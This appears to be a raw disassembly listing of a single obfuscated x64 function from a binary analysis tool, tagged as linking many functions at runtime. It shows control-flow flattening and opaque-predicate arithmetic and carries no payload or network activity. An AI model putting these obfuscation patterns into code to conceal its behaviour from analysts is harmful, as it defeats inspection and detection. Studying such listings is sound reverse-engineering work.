Function at 0x140132670
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x140265008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6596aad3
and edx, 0x9a69552c
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9a69552c
and edx, 0x6596aad3
or edx, ecx
mov ecx, edx
xor ecx, 1
and ecx, edx
mov ebp, edx
not ebp
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
mov ecx, edx
xor ecx, 0xad63028d
and ecx, edx
not edx
and edx, 0x84600284
and ebp, 0x29030009
or ebp, edx
xor ebp, 0x29030009
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xdbde6088
and ecx, 0x24219f77
or ecx, edx
xor ecx, 0x89429dfa
sete byte [rsp + 0x2e]
cmp eax, 0xa
setl byte [rsp + 0x2f]
mov r13d, 0x7d3a6793
mov r15d, 0x62aefdcd
mov r12d, 0x8c3d9d75
mov r14d, 0x73c682df
mov ecx, 0x1d69159c
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
not ebx
and edx, 0xcd44ffbf
and ecx, 0x32bb0040
or ecx, edx
xor ecx, 0x32bb0040
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9c624f9d
and ecx, 0x639db062
or ecx, edx
xor ecx, 0x639db062
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xe94f2b79
mov edx, 0xc027a91b
cmovne ecx, edx
test al, al
mov eax, ecx
cmovne eax, edx
test bl, bl
cmove eax, ecx
mov ecx, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xda92ad5
jle 0x1401328b0
cmp ecx, 0x3dc6c6f6
jle 0x140132be0
cmp ecx, 0x5c756c38
jg 0x140132e22
cmp ecx, 0x49bf77e9
jle 0x140133439
cmp ecx, 0x57e87cb0
jle 0x140133d76
cmp ecx, 0x596475af
jle 0x140134da2
cmp ecx, 0x5b31577b
jle 0x140136d07
cmp ecx, 0x5b31577c
je 0x14013a704
cmp ecx, 0x5bbf8bef
je 0x14013a71a
cmp ecx, 0x5c5db711
jne 0x140132830
mov ecx, 0xae9c2b9a
cmp ecx, 0xda92ad5
jg 0x140132838
nop dword [rax]
cmp ecx, 0xc6ef036d
jg 0x1401329e0
cmp ecx, 0xa48af1b4
jg 0x140132e8c
cmp ecx, 0x901bace4
jle 0x140133570
cmp ecx, 0x98b34976
jle 0x140133e4b
cmp ecx, 0xa001aee1
jle 0x140134f7c
cmp ecx, 0xa18b1065
jle 0x140136d35
cmp ecx, 0xa18b1066
je 0x14013a730
cmp ecx, 0xa2aedc4d
je 0x14013a926
cmp ecx, 0xa3f2fd08
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ecx, edi
or ecx, 0xb75a5b70
mov edx, ecx
not edx
mov ebx, esi
or ebx, 0x805a004
and ebx, 0xc4ff804
mov ebp, edi
and ebp, 0xb3100370
or ebp, ebx
and ecx, 0xc4ff804
and edx, 0x40a0048b
or edx, ecx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x48a5a48e
and edx, 0xb75a5b71
or edx, ecx
mov ecx, edx
not ecx
and edi, ecx
and edx, esi
or edx, edi
not edx
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test bl, bl
mov ecx, 0x6812484b
mov ebp, 0x3c9063b1
cmovne ecx, ebp
test dl, dl
mov edx, 0x6812484b
cmove ecx, edx
jmp 0x14013de1d
cmp ecx, 0xe94f2b78
jg 0x140132fc9
cmp ecx, 0xd6d6008e
jle 0x140133675
cmp ecx, 0xdd268fc2
jle 0x140133ff2
cmp ecx, 0xded3508c
jle 0x14013503e
cmp ecx, 0xe0eab7c7
jle 0x140136e6f
cmp ecx, 0xe0eab7c8
je 0x14013a9ed
cmp ecx, 0xe6c09f8a
je 0x14013ab18
cmp ecx, 0xe8d50617
jne 0x140132830
mov eax, dword [0x1402656e8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x5fe66403
and ecx, 0xa0199bfc
or ecx, edx
mov ebp, ecx
xor ebp, 0x59464401
mov edi, ecx
xor edi, 0xa0199bfc
or ebp, 0x86b93b0a
mov ebx, ebp
not ebx
mov edx, edi
or edx, 0x7946c4f5
mov eax, edx
not eax
and ebp, 0xaa998fb0
and ebx, 0x51464045
or ebx, ebp
and edx, 0xaa998fb0
and eax, 0x420300a
or eax, edx
xor eax, ebx
mov edx, eax
not edx
and edx, 0xbdadbc08
and eax, 0x425243f7
or eax, edx
mov ebp, eax
xor ebp, 0x13100300
and edi, 1
xor ecx, 0xa0199bfd
or ecx, edi
mov edx, ecx
not edx
and edx, 0xb7788fa6
and ecx, 0x48877059
or ecx, edx
mov edx, ecx
xor edx, 0x40015008
xor eax, 0xc4eb78fc
xor ecx, 0xb7788fa6
mov ebx, eax
and ebx, 0xacc6ac53
and ebp, 0x533953ac
or ebp, ebx
or eax, ecx
and ecx, 0xacc6ac53
and edx, 0x533953ac
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa7e44662
and ecx, eax
and eax, 0x581bb99d
or eax, edx
xor eax, 0x581bb99d
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
setne r9b
sete r8b
cmp dword [0x1402656e4], 0xa
setl al
mov ecx, r8d
xor cl, r9b
and cl, r8b
xor cl, 1
mov ebx, ecx
or bl, al
xor bl, 1
xor cl, al
not cl
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor r9b, al
xor r9b, 1
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
and bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x2e9fcca7
mov ebp, 0xcac28fc9
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x2e9fcca7
jmp 0x140140dec
cmp ecx, 0x2190a100
jle 0x1401331bd
cmp ecx, 0x2f4e6e63
jle 0x14013321b
cmp ecx, 0x37edb245
jg 0x140133c31
cmp ecx, 0x324bb1bd
jle 0x14013518e
cmp ecx, 0x34d0df30
jle 0x140136e9d
cmp ecx, 0x34d0df31
je 0x14013ac5c
cmp ecx, 0x364a42ed
je 0x14013ac72
cmp ecx, 0x3754c292
jne 0x140132830
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xe7e97a1e
and edx, ecx
not ecx
and ecx, 0xb137cb4a
and eax, 0x4ec834b5
or eax, ecx
mov ecx, eax
xor ecx, 0x42400014
xor eax, 0xa1214a0a
or eax, 0x181685e1
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xbc8ff56b
and ecx, 0x43600a14
or ecx, ebx
or eax, ebp
and ebp, 0xbc8ff56b
and edx, 0x43700a94
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x181685e1
and eax, 0xe7e97a1e
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6165c365
mov edx, eax
and edx, 0x9e9a3c9a
or edx, ecx
mov ecx, edx
xor ecx, 0x9e9a3c9a
xor edx, 0x20014124
mov ebp, ecx
and ebp, 0x976b744c
and eax, 0x68948bb3
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x68948bb2
and eax, 0x976b744d
or eax, ebp
and edx, 0x2e8949b4
mov ebp, ecx
and ebp, 0xd176b64b
or ebp, edx
xor ebp, 0x2e8949b5
and ecx, 1
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xf9db897b
and ecx, 0x6247684
or ecx, edx
xor ecx, 0x6247684
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x6c106c1d
and ecx, 0x93ef93e2
or ecx, eax
mov eax, ecx
not eax
and eax, 0x93ef93e2
and ecx, 0x6c106c1d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x38b91a2f
and eax, 0xc746e5d0
or eax, ecx
xor eax, 0xc746e5d0
setne r8b
sete al
cmp dword [0x1402656e4], 9
setg dl
mov ecx, eax
or cl, dl
xor al, dl
not al
and al, dl
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
xor r8b, dl
mov ebx, r8d
not bl
and bl, dl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov r8d, eax
xor r8b, 1
mov r9d, ecx
xor r9b, 1
mov edx, eax
and dl, r8b
mov ebx, ecx
and bl, r9b
mov r10d, edx
and r10b, al
xor dl, al
or dl, r10b
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
xor bl, dl
xor r9b, r8b
or cl, al
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x3d3c3d01
mov edx, 0x73c682df
cmovne ecx, edx
test bl, 1
mov r14d, 0x73c682df
cmove ecx, edx
test al, 1
mov eax, 0x3d3c3d01
jmp 0x140140dec
cmp ecx, 0x6e6b3b97
jle 0x1401336c7
cmp ecx, 0x75907677
jle 0x1401340ef
cmp ecx, 0x79111092
jle 0x1401352f0
cmp ecx, 0x7afbe233
jle 0x1401370ab
cmp ecx, 0x7afbe234
je 0x14013ad8c
cmp ecx, 0x7cfb1a8c
je 0x14013ae98
cmp ecx, 0x7d3a6793
jne 0x140132830
mov ecx, 0x638920bd
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xb4d65408
jle 0x1401337f8
cmp ecx, 0xbb8e8b4c
jle 0x140134135
cmp ecx, 0xc1a27750
jle 0x140135489
cmp ecx, 0xc28b3c43
jle 0x1401371d7
cmp ecx, 0xc28b3c44
je 0x14013af57
cmp ecx, 0xc3415d48
je 0x14013af6d
cmp ecx, 0xc66ee63a
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x75b6f7e2
mov ebx, edx
and ebx, 0x8a49081c
or ebx, ecx
mov edi, ebx
xor edi, 0xa080814
xor ebx, 0x75b6f7e3
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0xa5d7168a
and edi, 0x5a28e974
or edi, eax
or ebx, esi
and esi, 0xa5d7168a
and ecx, 0x5a28e975
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
and ebp, 0x9a3c75bd
and edx, 0x65c38a42
or edx, ebp
mov eax, edx
xor eax, 0x65c38a42
xor edx, 0x9a3c75bd
and edx, ebx
not ebx
and eax, ebx
or edx, eax
xor ebx, edx
test ebx, edx
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov ebx, ecx
or al, cl
and cl, r9b
xor bl, r9b
or bl, cl
or dl, r9b
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x8875134e
mov ebp, 0xd7a052e7
cmovne edx, ebp
test al, 1
mov eax, edx
mov ebp, 0x8875134e
cmovne eax, ebp
jmp 0x14013c1cb
cmp ecx, 0xf89444ba
jle 0x14013393c
cmp ecx, 0x73e9c2c
jle 0x140134244
cmp ecx, 0xa7c8eb4
jle 0x140135607
cmp ecx, 0xb686915
jle 0x140137370
cmp ecx, 0xb686916
je 0x14013b15e
cmp ecx, 0xcaa5c6f
je 0x14013b174
cmp ecx, 0xcf11284
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xa8d457b8
and ecx, edx
and edx, 0x572ba847
or edx, ebp
mov ebp, edx
xor ebp, 0x53088803
xor edx, 0xa8d457b8
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x8ca337c4
and ebp, 0x735cc83b
or ebp, edi
or edx, ebx
and ebx, 0x8ca337c4
and ecx, 0x735cc83b
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xac908a5f
and ebp, edx
not edx
and edx, 0x451168bf
and ecx, 0xbaee9740
or ecx, edx
mov edx, ecx
xor edx, 0x410081f
or edx, 0x536f75a0
mov ebx, edx
not ebx
mov edi, ebp
not edi
mov esi, edx
and esi, 0xa7a7d1db
and ebx, 0x8100a04
or ebx, esi
or edx, edi
and edi, 0xa7a7d1db
and ebp, 0x58582e24
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x17127bc2
and edx, 0xe8ed843d
or edx, ebp
xor edx, 0x447d0e63
mov ebp, ecx
and ebp, 1
xor ecx, 0xbaee9741
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x525158c0
mov ebp, ecx
and ebp, 0x2052e
or ebp, edx
xor ebp, 0x2052e
and ecx, 0xadaca211
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x80a167a8
and ecx, 0x7f5e9857
or ecx, edx
mov edx, ecx
xor edx, 0x10c8110
xor ecx, 0xc0321a46
and ecx, 0xec335eef
and edx, 0x13cca110
or edx, ecx
xor edx, 0x13cca110
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov ebx, r9d
xor bl, dl
mov eax, ebx
xor al, r8b
and al, bl
or dl, r9b
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xc28b3c44
mov ebp, 0xc751cbef
cmovne ecx, ebp
test dl, 1
mov edx, 0xc28b3c44
jmp 0x14013de1a
cmp ecx, 0x179c675f
jg 0x140133b7f
cmp ecx, 0xfd86e78
jle 0x140134a08
cmp ecx, 0x14ec190b
jg 0x140135641
cmp ecx, 0x1332e654
jg 0x1401374dc
cmp ecx, 0xfd86e79
je 0x14013b204
cmp ecx, 0x11506384
jne 0x140132830
mov ecx, 0xb50541f
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x2192ab4e
jle 0x140133d65
cmp ecx, 0x2b984290
jle 0x140135843
cmp ecx, 0x2c95b0f2
jle 0x1401375e8
cmp ecx, 0x2c95b0f3
je 0x14013b2e2
cmp ecx, 0x2cf4afd2
je 0x14013b422
cmp ecx, 0x2e9fcca7
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xc7bb28f5
and edx, ebp
not ebp
and ebp, 0x878800c1
and ecx, 0x40332834
or ecx, ebp
xor ecx, 0x40332834
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x3844d70a
and edx, 0xc7bb28f5
or edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xcf757ea7
mov ecx, edx
and ecx, 0x308a8158
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x81e69d21
and ecx, 0x7e1962de
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa1600848
and ebp, 1
xor edx, 0xfffffffe
or edx, ebp
mov ebp, edx
not ebp
xor ecx, 0x4e93e387
mov edi, ecx
and edi, 0x1c1db7b5
and ebx, 0xe3e2484a
or ebx, edi
or ecx, edx
and edx, 0x1c1db7b5
and ebp, 0xe3e2484a
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xf518877e
and ecx, 0xae77881
or ecx, edx
mov ebx, ecx
xor ebx, 0xa050001
xor ecx, 0x80008118
or ebp, 0xdb77b19b
mov edx, ebp
not edx
or ecx, 0x20804a04
and ecx, 0xa0e2fb9c
and ebx, 0x5b150003
or ebx, ecx
and ebp, 0xa0e2fb9c
and edx, 0x4080460
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x24884e64
and edx, 0xdb77b19b
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xf3bffe47
and edx, 0xc4001b8
or edx, ebp
xor edx, 0xf3bffe47
xor ecx, edx
test ecx, edx
sete r8b
setne r10b
cmp eax, 9
setg r11b
cmp eax, 0xa
setl r9b
mov edx, r9d
xor dl, r11b
and dl, r9b
mov eax, edx
not al
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, r10b
and al, r8b
or al, dl
mov edx, r11d
xor dl, r8b
and dl, r11b
and r10b, r9b
and r11b, r8b
or r11b, r10b
mov ebx, edx
and bl, r11b
xor r11b, dl
or r11b, bl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, dl
xor bl, 1
or bl, cl
xor bl, r11b
mov eax, edx
and al, r11b
xor dl, r11b
or dl, al
mov eax, ebx
xor al, dl
not al
test al, 1
mov eax, 0x3754c292
cmovne eax, r14d
test dl, 1
mov ecx, 0x3754c292
cmovne ecx, eax
jmp 0x14013fa27
cmp ecx, 0x432fe54b
jg 0x140134364
cmp ecx, 0x409d5485
jg 0x140135900
cmp ecx, 0x3e6fe1b9
jg 0x1401376ee
cmp ecx, 0x3dc6c6f7
je 0x14013b438
cmp ecx, 0x3dc8f582
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x446935cc
mov ecx, edx
and ecx, 0xbb96ca33
or ecx, ebx
mov ebx, ecx
xor ebx, 0xbb964a30
xor ecx, 0x40480588
mov ebp, edi
or ebp, 0x4048858a
or ecx, 1
and ecx, 0x4048858b
and ebx, 0xbfb77a74
or ebx, ecx
and ebp, 0x4048858b
xor ebp, ebx
not ebp
and edi, 0x62093382
and edx, 0x9df6cc7d
or edx, edi
xor edx, 0x9df6cc7d
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r10b
not cl
and cl, r10b
mov ebx, eax
or bl, r10b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov ebx, r8d
xor bl, al
xor r9b, r10b
or al, r8b
xor al, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x3b8bd520
mov ebp, 0xbcc79b79
cmovne ecx, ebp
test bl, 1
mov eax, 0x3b8bd520
jmp 0x14013a399
cmp ecx, 0x8875134d
jg 0x14013448b
cmp ecx, 0x8234194c
jg 0x140135a10
cmp ecx, 0x814e6c27
jg 0x1401377db
cmp ecx, 0x80039e0a
je 0x14013b44e
cmp ecx, 0x81157efe
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x3aa8c0b4
mov edx, ecx
and edx, 0xc5573f4b
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x729cf53a
and edx, 0x8d630ac5
or edx, ebx
mov ebx, edx
xor ebx, 0xb7cbca70
and ebp, 0x60fee31
and ecx, 0xf9f011ce
or ecx, ebp
mov ebp, ecx
xor ebp, 0xf9f011ce
xor edx, 0x4834358f
and ebp, edx
xor ecx, 0x60fee31
and ecx, ebx
or ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, bl
xor al, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
xor cl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
and al, dl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x66add95
mov edx, 0x5bbf8bef
cmovne ecx, edx
test al, al
cmove ecx, edx
not bl
test bl, 1
mov eax, 0x66add95
jmp 0x14014088c
cmp ecx, 0xcdaa8e51
jg 0x1401345cd
cmp ecx, 0xcac28fc8
jg 0x140135a39
cmp ecx, 0xc89deb18
jg 0x140137809
cmp ecx, 0xc6ef036e
je 0x14013b464
cmp ecx, 0xc751cbef
jne 0x140132830
mov ecx, 0x3361df0e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x66b0ce96
jg 0x14013461f
cmp ecx, 0x62f15118
jg 0x140135a73
cmp ecx, 0x60ae376a
jg 0x140137926
cmp ecx, 0x5c756c39
je 0x14013b570
cmp ecx, 0x5ec700ff
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov eax, ebx
not eax
mov edx, ebx
xor edx, 0xa36ae645
and edx, ebx
mov ecx, ebx
or ecx, 0x5c9519ba
mov edi, edx
not edi
mov esi, ecx
and esi, 0x8d2fb77d
mov ebp, eax
and ebp, 0x22404000
or ebp, esi
or ecx, edi
and edi, 0x8d2fb77d
and edx, 0x72d04882
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5c9519bb
and ecx, 0xa36ae644
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebx
or ecx, eax
xor edx, ecx
test edx, ecx
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov r8d, eax
and cl, al
and al, r9b
xor r8b, r9b
or r8b, al
mov ebx, r8d
xor bl, 1
and dl, r9b
or cl, dl
mov r10d, ecx
xor r10b, 1
mov eax, ebx
and al, r8b
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
mov edx, eax
xor dl, 1
and dl, cl
and al, r10b
or al, dl
xor r10b, r8b
or cl, bl
xor cl, 1
or cl, r10b
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x76797f30
mov ebp, 0xb8a3dc4a
cmovne edx, ebp
test cl, 1
mov ecx, 0x76797f30
cmovne ecx, edx
jmp 0x140140457
cmp ecx, 0xb0ea1167
jg 0x140134756
cmp ecx, 0xab0ed83c
jg 0x140135aad
cmp ecx, 0xa5c6d285
jg 0x140137954
cmp ecx, 0xa48af1b5
je 0x14013b586
cmp ecx, 0xa4eab6ba
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rdx - 1]
imul esi, edx
mov edi, esi
not edi
mov edx, edi
and edx, 0x41090312
mov ebx, esi
and ebx, 0x10601084
or ebx, edx
mov edx, ebx
xor edx, 0x10201004
xor ebx, 0x468fed72
mov ecx, edi
or ecx, 0x51691396
mov ebp, ecx
not ebp
and ebx, 0x46cfedf2
and edx, 0x11201204
or edx, ebx
and ecx, 0x46cfedf2
and ebp, 0xa8100009
or ebp, ecx
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xae96ec68
and ebp, 0x51691397
or ebp, ecx
mov ecx, ebp
not ecx
and edi, ecx
and ebp, esi
or ebp, edi
not ebp
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov ebx, r10d
xor bl, r9b
mov edx, ebx
and dl, r10b
and bl, r9b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor r10b, cl
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0x44fe0463
mov ebp, 0xb7bf09e6
cmovne edx, ebp
test al, 1
mov eax, 0x44fe0463
jmp 0x140139aa7
cmp ecx, 0xf0161f05
jg 0x140134908
cmp ecx, 0xedd1c52e
jg 0x140135bab
cmp ecx, 0xeb64fdd4
jg 0x140137a74
cmp ecx, 0xe94f2b79
je 0x14013b59c
cmp ecx, 0xe9a91de6
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x30881042
and ebp, 0x2536025
or ebp, edx
mov ebx, ebp
xor ebx, 0x524000
xor ebp, 0x7d0898c0
or ecx, 0x32db7067
mov edx, ecx
not edx
and ebp, 0x7f09b8e5
and ebx, 0xd24002
or ebx, ebp
and ecx, 0x7f09b8e5
and edx, 0x80240718
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xcd248f98
and edx, 0x32db7067
or edx, ecx
mov ebp, edx
xor ebp, 1
and ebp, edx
mov ecx, edx
not ecx
and ecx, 0x786d5aa8
and edx, 0x8792a557
or edx, ecx
mov ebx, edx
xor ebx, 0x7102112
mov ecx, ebp
not ecx
xor edx, 0x786d5aa9
mov edi, ecx
and edi, 0xc8c29445
and ebp, 0x373d6bba
or ebp, edi
or ecx, edx
and edx, 0xc8c29445
and ebx, 0x373d6bba
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe8985d9a
and edx, ecx
and ecx, 0x1767a265
or ecx, ebp
mov ebp, ecx
xor ebp, 0x15220244
xor ecx, 0xe8985d9a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xca4decb9
and ebp, 0x35b21346
or ebp, edi
or ecx, ebx
and ebx, 0xca4decb9
and edx, 0x35b21346
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2854a543
and ecx, 0xd7ab5abc
or ecx, edx
mov edx, ecx
xor edx, 0x4095284
xor ecx, 0x102501
and ecx, 0xd3b22d39
and edx, 0x2c4dd2c6
or edx, ecx
mov ecx, edx
xor ecx, 0x11100029
xor edx, 0x2c499200
and edx, 0xeeebbf10
and ecx, 0x111440ef
or ecx, edx
xor ecx, 0x111440ef
setne cl
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r8b
mov ebx, r9d
xor bl, cl
and bl, r9b
mov eax, ebx
xor al, 1
or bl, al
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, r8b
and r8b, r9b
and cl, r10b
or cl, r8b
mov edx, r10d
and dl, r9b
xor r10b, r9b
or r10b, dl
xor cl, 1
mov edx, ecx
xor dl, r10b
or cl, r10b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xda695de5
mov ebp, 0xba4497cc
cmovne ecx, ebp
test dl, 1
mov edx, ecx
